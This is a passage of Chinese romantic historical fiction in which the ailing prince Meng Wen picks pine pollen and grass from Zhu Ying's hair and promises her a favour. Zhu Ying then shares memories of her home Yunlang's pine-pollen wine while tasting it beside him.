俯仰之间，她又慌慌张张退离，端坐藤榻旁的草席上。 孟闻心下叹息，她总是这样的。表面上谨小慎微，背地里阳奉阴违的事一件不落。 半晌，等他没有发难，她的目光才又探过来：“您不说话，我就当您答应了？” 他缓缓道：“好。” 因病也积攒了一身疲敝，懒得为难于她。 竺影得了他答复，乍然展颜。她一高兴，便不那么害怕，也不想着躲他了。 竺影提醒他道：“殿下先喝药吧。” 孟闻恍若未闻，抬手召她：“你过来。” 竺影问：“还有什么事吗？”却坐着不动。 孟闻复道一声：“过来。” 竺影这才往他的方向挪近一些，转头却见他伸手过来，她下意识抬手要挡，反被他另一只手捉着放下。 宽大的罗袖垂在她眼前，声音自头顶落下。 他说：“别动。” “哦。”竺影随口答应，又岂会安静坐着任他摆布？ 她阳奉阴违地从他袖前探出头，抬眸见他捻了一叶枯草在指尖，才知他方才是在做什么。 竺影道：“我自己来。” 说着便要伸手去解发巾，刚伸手摸到绳结，反被他一巴掌拍了回去。 “说了别动。”他好不耐烦。生硬地扳过她抬起的脑袋，继续拣去发上的草叶。 她不知从哪里沾染来了一身花粉，发巾上挂着几根杂草，一身凌乱，她自己浑然不知。 竺影时不时抬头：“殿下——” 孟闻盯着她发顶：“别叫我，叫你师傅听去了，要来骂我。” “哦。”竺影半低着头，不说话也不动了。 空气中浮着花粉，殿下的罗袖时时拂在她后颈上，弄得她脖子发痒，好不自在。 直到取下竺影头上最后一根草叶，非要如此他才肯放开手，也长松了一口气：“总算没那么碍眼。” “……”竺影无语，幽怨凝视着他。 她千辛万苦上山给他采药，他还嫌她碍眼。 他似察觉了身边人的怨怼，转头对上竺影的目光，柔声道：“近日劳累你了。” 那片草叶仍留于指端，他不曾弃掉。 鼗鼓成精的她，又是一阵摇头道：“没有，不累。” 孟闻接着道：“你带我寻医，我未曾答谢过你。回京以后，可以答应你一件事情。” “当真吗？”竺影须得再三确认，才敢相信他那刻薄的嘴里也会说出这番话。 “你竟不信吗？”他转头哂笑，戏弄她道，“那便当作是戏言罢。” 竺影赶忙见好就收：“我当然是相信的。” 孟闻道：“等你想好了，便来与我说。” 竺影顿又欢天喜地了，捧了药碗奉上，“药凉了，殿下快喝吧。我回屋去换件衣裳。” 孟闻一点头，喝过了药，继续在藤榻上沐一点夕阳余热。 竺影进屋道：“师傅，我脖子好痒，您看看我是被什么虫咬了。” 闵春抬眼看去，这才见她灰头土脸，不忍发笑：“你这是到松林里乱窜，沾了松花粉吧。” 竺影恍然：“这样啊。” 闵春同她道了一声“等着”，遂停下手里的活计，回房一顿翻找。 竺影以为她是去找膏药，谁知她递过来一个小酒坛。 “喏，拿去吧。”闵春道。 “这是——”竺影揭开盖子轻嗅，惊喜道，“是松花酒？” “嗯。”闵春点头，“过完了年节，还剩下些，刚好你来了。” 年节都过去三两个月了，她能捡到一点点节俗的余留，就高兴得不行。 儿时记忆里的云琅，已经理她很远很远了，如今才一点一点地，慢慢捡拾回来。 竺影眉眼一弯，欢喜抱了酒坛出去。 孟闻躺在屋前的藤榻上，暖洋洋的阳光洒落了半身。 身后欢声笑语携着风来，他甫一抬眼，撞见她眼中笑意，分外浓郁。 只可惜，那笑意一但落到他身上，就收敛了许多，好似被他攫了去。 他分明什么也没做，只是睁眼而已。 竺影仍是坐在榻边的草席上，坐在孟闻身侧。先是笑着不说话，手肘支在酒坛上，拖着下巴看他。 孟闻自然清楚，她才回屋不久，突然喜滋滋地跑过来，是想听什么。于是问了她：“你怀里抱着的是什么？” 她听了又笑，敲了敲酒坛，同他道：“这是云琅的松花酒。” 孟闻道：“没听说过。” 然后等她继续跟他这个外乡人炫耀。 竺影果然饶有兴致，同他絮叨：“殿下从前也没来过云琅，自然不曾听说。以前云琅的松花酒也是一绝，不逊于河东的白堕、山西的汾清、霸州的菊花秋……” “你瞧，那就是松花。”她指向探进竹篱的松枝，几条松枝随风摇摇荡荡，花上沾满黄粉。 三月里来，松花满岗。一经春风吹拂，花粉飞扬，送来满怀松香。 孟闻并没有顺她所指移目看去，目光只落在她身上。他说：“你身上也有。” “咳咳。”竺影低头一看，好一阵赧然。方才一高兴，提了酒坛出门来，全然忘了换衣裳。 罢了，谁叫篱外飞花零乱，风狂春不管。 竺影又接着说：“以前，山下的家家户户都会采松花酿酒。只是后来——” 后来却很少有人家能喝上，他们家中没有了那么多酿酒的余粮。 她没说后来如何，只是笑着问孟闻：“你要不要尝一尝？” 孟闻尚未出声，她就自言自语接话：“我怎么忘了呢？你是病患，不能饮酒。” 孟闻：“……” 除了笑叹口气，似也不能反驳些什么。 她捧着一坛酒，像捧着什么稀世珍宝，当着他的面，兀自揭开盖子来尝。 勾着一个不能饮酒的人，还要同他说是什么滋味。 她说，云琅的松花酒清苦，有淡淡的木香。 他单看得到，嗅得到，触不及，无可奈何地，心里有些发痒。